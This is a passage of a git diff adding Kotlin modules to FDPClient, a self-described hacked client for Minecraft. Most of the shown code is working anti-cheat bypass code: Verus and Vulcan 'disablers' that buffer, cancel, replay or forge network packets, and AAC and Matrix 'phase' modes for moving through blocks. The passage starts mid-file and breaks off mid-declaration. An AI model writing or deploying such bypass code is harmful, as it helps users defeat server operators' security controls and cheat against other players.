net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import java.util.* +import kotlin.math.sqrt + +class OldVerus : DisablerMode("OldVerus") { + private var verus2Stat = false + private val verusSlientFlagApplyValue = BoolValue("OldVerus-SlientFlagApply", false) + private val verusBufferSizeValue = IntegerValue("OldVerus-BufferSize", 300, 0, 1000) + private val verusRepeatTimesValue = IntegerValue("OldVerus-RepeatTimes", 1, 1, 5) + private val verusRepeatTimesFightingValue = IntegerValue("OldVerus-RepeatTimesFighting", 1, 1, 5) + private val verusFlagDelayValue = IntegerValue("OldVerus-FlagDelay", 40, 35, 60) + private var lagTimer = MSTimer() + private var modified = false + private val repeatTimes: Int + get() = if(FDPClient.combatManager.inCombat) { verusRepeatTimesFightingValue.get() } else { verusRepeatTimesValue.get() } + private val packetBuffer = LinkedList<Packet<INetHandlerPlayServer>>() + override fun onEnable() { + verus2Stat = false + lagTimer.reset() + modified = false + packetBuffer.clear() + } + override fun onWorld(event: WorldEvent) { + verus2Stat = false + packetBuffer.clear() + lagTimer.reset() + } + + + override fun onUpdate(event: UpdateEvent) { + modified = false + if(lagTimer.hasTimePassed(490L)) { + lagTimer.reset() + if(packetBuffer.isNotEmpty()) { + val packet = packetBuffer.poll() + repeat(repeatTimes) { + PacketUtils.sendPacketNoEvent(packet) + } + disabler.debugMessage("Send Packet Buff") + } else { + disabler.debugMessage("Empty Packet Buff") + } + } + } + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is C0FPacketConfirmTransaction) { + packetBuffer.add(packet) + event.cancelEvent() + if(packetBuffer.size > verusBufferSizeValue.get()) { + if(!verus2Stat) { + verus2Stat = true + FDPClient.hud.addNotification(Notification(disabler.name, "AntiCheat is disabled.", NotifyType.SUCCESS)) + } + val packeted = packetBuffer.poll() + repeat(repeatTimes) { + PacketUtils.sendPacketNoEvent(packeted) + } + } + disabler.debugMessage("Packet C0F IN ${packetBuffer.size}") + } else if(packet is C03PacketPlayer) { + if((mc.thePlayer.ticksExisted % verusFlagDelayValue.get() == 0) && (mc.thePlayer.ticksExisted > verusFlagDelayValue.get() + 1) && !modified) { + disabler.debugMessage("Packet C03") + modified = true + packet.y -= 11.4514 // 逸一时,误一世 + packet.onGround = false + } + } else if (packet is S08PacketPlayerPosLook && verusSlientFlagApplyValue.get()) { + val x = packet.x - mc.thePlayer.posX + val y = packet.y - mc.thePlayer.posY + val z = packet.z - mc.thePlayer.posZ + val diff = sqrt(x * x + y * y + z * z) + if (diff <= 8) { + event.cancelEvent() + disabler.debugMessage("Silent Flag") + PacketUtils.sendPacketNoEvent( + C03PacketPlayer.C06PacketPlayerPosLook( + packet.x, + packet.y, + packet.z, + packet.getYaw(), + packet.getPitch(), + true + ) + ) + } + } + + if (mc.thePlayer != null && mc.thePlayer.ticksExisted <= 7) { + lagTimer.reset() + packetBuffer.clear() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusFlyDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusFlyDisabler.kt new file mode 100644 index 0000000..fbd68af --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusFlyDisabler.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.verus + +import net.minecraft.network.play.client.C03PacketPlayer +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode + +class OldVerusFlyDisabler : DisablerMode("OldVerus-Fly") { + + private var packetCount = 0 + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + if (mc.thePlayer.motionY == 0.0 || mc.thePlayer.onGround || mc.thePlayer.isCollidedVertically) { + packet.onGround = true + disabler.debugMessage("fix ground") + } + } + if (packet is C03PacketPlayer) { + if (packet !is C03PacketPlayer.C04PacketPlayerPosition && packet !is C03PacketPlayer.C05PacketPlayerLook && packet !is C03PacketPlayer.C06PacketPlayerPosLook) { + packetCount++ + if (packetCount >= 2) { + event.cancelEvent() + } + } else { + packetCount = 0 + disabler.debugMessage("set 0") + } + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusFixDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusFixDisabler.kt new file mode 100644 index 0000000..f604f49 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusFixDisabler.kt @@ -0,0 +1,131 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.verus + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.init.Blocks +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C09PacketHeldItemChange +import net.minecraft.network.play.client.C0BPacketEntityAction + +class VerusFixDisabler : DisablerMode("VerusFix") { + private val omniSprint13EValue = BoolValue("${valuePrefix}OmniSprint", true) + private val scaffold14EValue = BoolValue("${valuePrefix}RotationFix", true) + private val fly4IValue = BoolValue("${valuePrefix}fly4I", true) + private val motionYValue = BoolValue("${valuePrefix}MotionY", true) + var x = 0.0 + var y = 0.0 + var z = 0.0 + var pitch = 0.0 + var yaw = 0.0 + private var prevSlot = 0 + private var jam = 0 + private var packetCount = 0 + + override fun onUpdate(event: UpdateEvent) { + if (!motionYValue.get()) return + val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement(pos, 1, + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ) + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (mc.thePlayer == null || mc.theWorld == null || event.isCancelled) + return + // fix ground check (4I) + if (packet is C03PacketPlayer && packet !is C03PacketPlayer.C04PacketPlayerPosition && packet !is C03PacketPlayer.C06PacketPlayerPosLook) { + if ((mc.thePlayer.motionY == 0.0 || (mc.thePlayer.onGround && mc.thePlayer.isCollidedVertically)) && !packet.onGround) { + packet.onGround = true + disabler.debugMessage("Packet C03 OnGround Fix") + } + } + + // some info things + if (packet is C03PacketPlayer.C04PacketPlayerPosition) { + x = packet.x + y = packet.y + z = packet.z + jam = 0 + } + + if (packet is C03PacketPlayer.C05PacketPlayerLook) { + yaw = packet.yaw.toDouble() + pitch = packet.pitch.toDouble() + } + + if (packet is C03PacketPlayer.C06PacketPlayerPosLook) { + x = packet.x + y = packet.y + z = packet.z + jam = 0 + + yaw = packet.yaw.toDouble() + pitch = packet.pitch.toDouble() + } + + if (packet is C03PacketPlayer && packet !is C03PacketPlayer.C04PacketPlayerPosition && packet !is C03PacketPlayer.C06PacketPlayerPosLook) { + jam++ + if (jam > 20) { + jam = 0 + event.cancelEvent() + PacketUtils.sendPacketNoEvent( + C03PacketPlayer.C06PacketPlayerPosLook( + x, + y, + z, + yaw.toFloat(), + pitch.toFloat(), + packet.onGround + ) + ) + disabler.debugMessage("Packet C03 Spam Fix") + } + } + + // fix scaffold duplicated hotbar switch + if (!mc.isSingleplayer && packet is C09PacketHeldItemChange) { + if (packet.slotId == prevSlot) { + event.cancelEvent() + disabler.debugMessage("Packet C09 Duplicate Cancel") + } else { + prevSlot = packet.slotId + } + } + + if (omniSprint13EValue.get() && packet is C0BPacketEntityAction) { + event.cancelEvent() + disabler.debugMessage("Packet C0B Check Cancel") + } + + if (scaffold14EValue.get() && packet is C08PacketPlayerBlockPlacement) { + packet.facingX = packet.facingX.coerceIn(-1.00000F, 1.00000F) + packet.facingY = packet.facingY.coerceIn(-1.00000F, 1.00000F) + packet.facingZ = packet.facingZ.coerceIn(-1.00000F, 1.00000F) + disabler.debugMessage("Packet C08 Placement Fix") + } + + if (fly4IValue.get() && packet is C03PacketPlayer && !packet.onGround) { + if (packet !is C03PacketPlayer.C04PacketPlayerPosition && packet !is C03PacketPlayer.C05PacketPlayerLook && packet !is C03PacketPlayer.C06PacketPlayerPosLook) { + packetCount++ + if (packetCount >= 2) { + event.cancelEvent() + disabler.debugMessage("Packet C03 Flying Cancel") + } + } else { + packetCount = 0 + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusReachDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusReachDisabler.kt new file mode 100644 index 0000000..91d9414 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusReachDisabler.kt @@ -0,0 +1,59 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.verus + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C00PacketKeepAlive +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.server.S37PacketStatistics + +class VerusReachDisabler : DisablerMode("VerusReach") { + + private val SendC00value = BoolValue("VReach-SendC00", true) + private val SendC00delayvalue = IntegerValue("VReach-C00Delay", 650, 0, 1000).displayable { SendC00value.get() } + + var verustransactions = 0 + var newTransaction = 0 + + override fun onEnable() { + newTransaction = 0 + verustransactions = 0 + } + + override fun onUpdate(event: UpdateEvent) { + if (SendC00value.get() && mc.thePlayer.ticksExisted % SendC00delayvalue.get() == 0) { + PacketUtils.sendPacketNoEvent(C00PacketKeepAlive()) + } + disabler.debugMessage("Send C00") + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is C00PacketKeepAlive && SendC00value.get()) { + event.cancelEvent() + } + + if (packet is C0FPacketConfirmTransaction) { + verustransactions++ + if(verustransactions <= 1) { + newTransaction = packet.getUid().toInt() + } + + packet.uid = newTransaction.toShort() + } + + if (packet is S37PacketStatistics) { + verustransactions = 0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusSemiDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusSemiDisabler.kt new file mode 100644 index 0000000..cc2fdf7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusSemiDisabler.kt @@ -0,0 +1,61 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.verus + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.C00PacketKeepAlive +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C0CPacketInput +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import java.util.* + +class VerusSemiDisabler : DisablerMode("VerusSemi") { + private val bufferValue = IntegerValue("${valuePrefix}BufferSize", 30, 10, 100) + private var currentTrans = 0 + private var verus2Stat = false + private val packetBuffer = LinkedList<Packet<INetHandlerPlayServer>>() + override fun onEnable() { + currentTrans = 0 + verus2Stat = false + packetBuffer.clear() + } + override fun onDisable() { + for(packet in packetBuffer) { + PacketUtils.sendPacketNoEvent(packet) + packetBuffer.remove(packet) + } + } + override fun onWorld(event: WorldEvent) { + currentTrans = 0 + packetBuffer.clear() + } + + override fun onUpdate(event: UpdateEvent) { + if(packetBuffer.size >= bufferValue.get()) { + verus2Stat = true + } + if(verus2Stat) { + disabler.debugMessage("Packet C0F in ${packetBuffer.size}") + for(packet in packetBuffer) { + PacketUtils.sendPacketNoEvent(packet) + packetBuffer.remove(packet) + } + + verus2Stat = false + } + } + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C0FPacketConfirmTransaction) { + packetBuffer.add(packet) + disabler.debugMessage("C0F Buffer") + event.cancelEvent() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanAutoblock.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanAutoblock.kt new file mode 100644 index 0000000..1593702 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanAutoblock.kt @@ -0,0 +1,19 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.vulcan + +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.event.WorldEvent +import net.minecraft.network.play.client.C17PacketCustomPayload +import java.util.* + +class VulcanAutoblock : DisablerMode("VulcanAutoblock") { + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C17PacketCustomPayload) { + event.cancelEvent() + disabler.debugMessage("Cancel C17CustomPayload") + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanCombatDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanCombatDisabler.kt new file mode 100644 index 0000000..8e7512d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanCombatDisabler.kt @@ -0,0 +1,92 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.script.api.global.Chat.alert +import net.ccbluex.liquidbounce.utils.BlinkUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.client.C0BPacketEntityAction +import kotlin.random.Random + +class VulcanCombatDisabler : DisablerMode("VulcanCombat") { + private val compDecValue = BoolValue("VulcanDecrease", true) + private val statDecValue = IntegerValue("VulcanDecreaseDelay", 1500, 500, 2500).displayable { compDecValue.get() } + private val dynamicValue = BoolValue("VulcanDynamicDelay", true) + private val decDelayMinValue = IntegerValue("VulcanMinDelay", 4500, 2000, 8000).displayable { dynamicValue.get() } + private val decDelayMaxValue = IntegerValue("VulcanMaxDelay", 5500, 2000, 8000).displayable { dynamicValue.get() } + private val minBuffValue = IntegerValue("VulcanMinBuff", 5, 0, 12) + private val noC0BValue = BoolValue("NoC0BPacket", false) + private var currentTrans = 0 + + //已经死了一半的 Disabler,稍微复活一下。已经无法(只靠这个 Disabler)绕过的 Bypass:Vanilla Velocity / None Rotation + + private var currentDelay = 5000 + private var currentBuffer = 4 + private var currentDec = -1 + private val lagTimer = MSTimer() + private val decTimer = MSTimer() + private var runReset = false + override fun onEnable() { + updateLagTime() + } + + override fun onDisable() { + updateLagTime() + BlinkUtils.releasePacket(packetType = "C0FPacketConfirmTransaction") + BlinkUtils.setBlinkState(packetTransaction = false) + } + + override fun onUpdate(event: UpdateEvent) { + if (runReset) { + runReset = false + PacketUtils.sendPacketNoEvent(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + } + if (lagTimer.hasTimePassed(currentDelay.toLong()) && BlinkUtils.bufferSize(packetType = "C0FPacketConfirmTransaction") > currentBuffer) { + updateLagTime() + BlinkUtils.releasePacket(packetType = "C0FPacketConfirmTransaction", minBuff = currentBuffer) + disabler.debugMessage("C0F-PingTickCounter RELEASE") + } + if (decTimer.hasTimePassed(currentDec.toLong()) && currentDec > 0) { + BlinkUtils.releasePacket(packetType = "C0FPacketConfirmTransaction", amount = 1) + disabler.debugMessage("C0F-PingTickCounter DECREASE") + decTimer.reset() + } + } + override fun onWorld(event: WorldEvent) { + BlinkUtils.clearPacket(packetType = "C0FPacketConfirmTransaction") + currentTrans = 0 + updateLagTime() + runReset = noC0BValue.get() + } + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C0BPacketEntityAction && noC0BValue.get()) { + event.cancelEvent() + disabler.debugMessage("C0B-EntityAction CANCELLED") + } + if (packet is C0FPacketConfirmTransaction && disabler.state) { + BlinkUtils.setBlinkState(packetTransaction = false) + val transUID = (packet.uid).toInt() + if (transUID >= -25767 && transUID <= -24769) { + BlinkUtils.setBlinkState(packetTransaction = true) + disabler.debugMessage("C0F-PingTickCounter IN ${BlinkUtils.bufferSize(packetType = "C0FPacketConfirmTransaction")}") + }else if (transUID == -30000){ + BlinkUtils.setBlinkState(packetTransaction = true) + disabler.debugMessage("C0F-OnSpawn IN ${BlinkUtils.bufferSize(packetType = "C0FPacketConfirmTransaction")}") + } + } + } + private fun updateLagTime() { + decTimer.reset() + lagTimer.reset() + currentDelay = if (dynamicValue.get()) Random.nextInt(decDelayMinValue.get(), decDelayMaxValue.get()) else 5000 + currentDec = if (compDecValue.get()) statDecValue.get() else -1 + currentBuffer = minBuffValue.get() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanScaffoldDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanScaffoldDisabler.kt new file mode 100644 index 0000000..dcb4b96 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanScaffoldDisabler.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.vulcan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.play.client.C0BPacketEntityAction + +class VulcanScaffold : DisablerMode("VulcanScaffold") { + + override fun onUpdate(event: UpdateEvent) { + if (MovementUtils.isMoving() && mc.thePlayer.ticksExisted % 20 == 0) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING)) + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanSprintDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanSprintDisabler.kt new file mode 100644 index 0000000..ca5f074 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanSprintDisabler.kt @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.vulcan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.minecraft.network.play.client.C0BPacketEntityAction + + +class VulcanSprintDisabler : DisablerMode("VulcanSprint") { + + /** + * Vulcan OmniSprint Disabler + * Code by Dg636 + * Date: 2023/03/21 + */ + + override fun onUpdate(event: UpdateEvent) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanStrafeDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanStrafeDisabler.kt new file mode 100644 index 0000000..eb22a1e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanStrafeDisabler.kt @@ -0,0 +1,53 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import java.util.* + +class VulcanStrafeDisabler : DisablerMode("VulcanStrafe") { + private val avoidPhaseBpValue = BoolValue("${valuePrefix}NoBadPacket", true) //Avoid flags when phasing / clipping + private val delayValue = IntegerValue("${valuePrefix}PacketDelay", 6, 3, 10) //保留备用,可能能够绕过别的反作弊 + private var c03Counter = 0 + + /** + * Vulcan Strafe Disabler (Also bypassed Jump / MotionC checks) + * Code by Co Dynamic + * Date: 2023/02/23 + * TODO: C08 can disable Speed C Check (place block in reachable place && place illegally) + */ + + override fun onEnable() { + c03Counter = -15 + } + override fun onWorld(event: WorldEvent) { + c03Counter = -15 //avoid badpacket / time out (weird) + } + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + c03Counter++ + if (packet.isMoving) { + if (c03Counter >= delayValue.get()) { + PacketUtils.sendPacketNoEvent( + C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, + if (avoidPhaseBpValue.get()) { BlockPos.ORIGIN } else { BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) }, EnumFacing.DOWN) + ) + c03Counter = 0 + } else if (c03Counter == delayValue.get() - 2) { + PacketUtils.sendPacketNoEvent( + C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, + BlockPos.ORIGIN, EnumFacing.DOWN) + ) + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/PhaseMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/PhaseMode.kt new file mode 100644 index 0000000..c0842a9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/PhaseMode.kt @@ -0,0 +1,30 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.exploit.Phase +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value + +abstract class PhaseMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val phase: Phase + get() = FDPClient.moduleManager[Phase::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onWorld(event: WorldEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/aac/AAC350Phase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/aac/AAC350Phase.kt new file mode 100644 index 0000000..0bc8b88 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/aac/AAC350Phase.kt @@ -0,0 +1,48 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.aac + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.MathHelper +import kotlin.math.cos +import kotlin.math.sin + +class AAC350Phase : PhaseMode("AAC3.5.0") { + private val tickTimer = TickTimer() + override fun onEnable() { + tickTimer.reset() + } + override fun onUpdate(event: UpdateEvent) { + val isInsideBlock = BlockUtils.collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } + if(isInsideBlock) { + mc.thePlayer.noClip = true + mc.thePlayer.motionY = 0.0 + mc.thePlayer.onGround = true + } + + tickTimer.update() + + if (!tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking)) return + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + val oldX = mc.thePlayer.posX + val oldZ = mc.thePlayer.posZ + val x = -sin(yaw) + val z = cos(yaw) + mc.thePlayer.setPosition(oldX + x, mc.thePlayer.posY, oldZ + z) + tickTimer.reset() + } + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + val yaw = MovementUtils.direction.toFloat() + packet.x = packet.x - MathHelper.sin(yaw) * 0.00000001 + packet.z = packet.z + MathHelper.cos(yaw) * 0.00000001 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/aac/AACv4Phase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/aac/AACv4Phase.kt new file mode 100644 index 0000000..13da5ac --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/aac/AACv4Phase.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.minecraft.network.play.client.C03PacketPlayer + +class AACv4Phase : PhaseMode("AACv4") { + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.sendQueue.addToSendQueue( + C03PacketPlayer.C06PacketPlayerPosLook( + mc.thePlayer.posX, + mc.thePlayer.posY - 0.00000001, + mc.thePlayer.posZ, + mc.thePlayer.rotationYaw, + mc.thePlayer.rotationPitch, + false + ) + ) + mc.thePlayer.sendQueue.addToSendQueue( + C03PacketPlayer.C06PacketPlayerPosLook( + mc.thePlayer.posX, + mc.thePlayer.posY - 1, + mc.thePlayer.posZ, + mc.thePlayer.rotationYaw, + mc.thePlayer.rotationPitch, + false + ) + ) + phase.state = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/matrix/OldMatrixBlinkPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/matrix/OldMatrixBlinkPhase.kt new file mode 100644 index 0000000..2c8d9fd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/matrix/OldMatrixBlinkPhase.kt @@ -0,0 +1,65 @@ + +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.matrix + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.TransferUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.cos +import kotlin.math.sin + +class 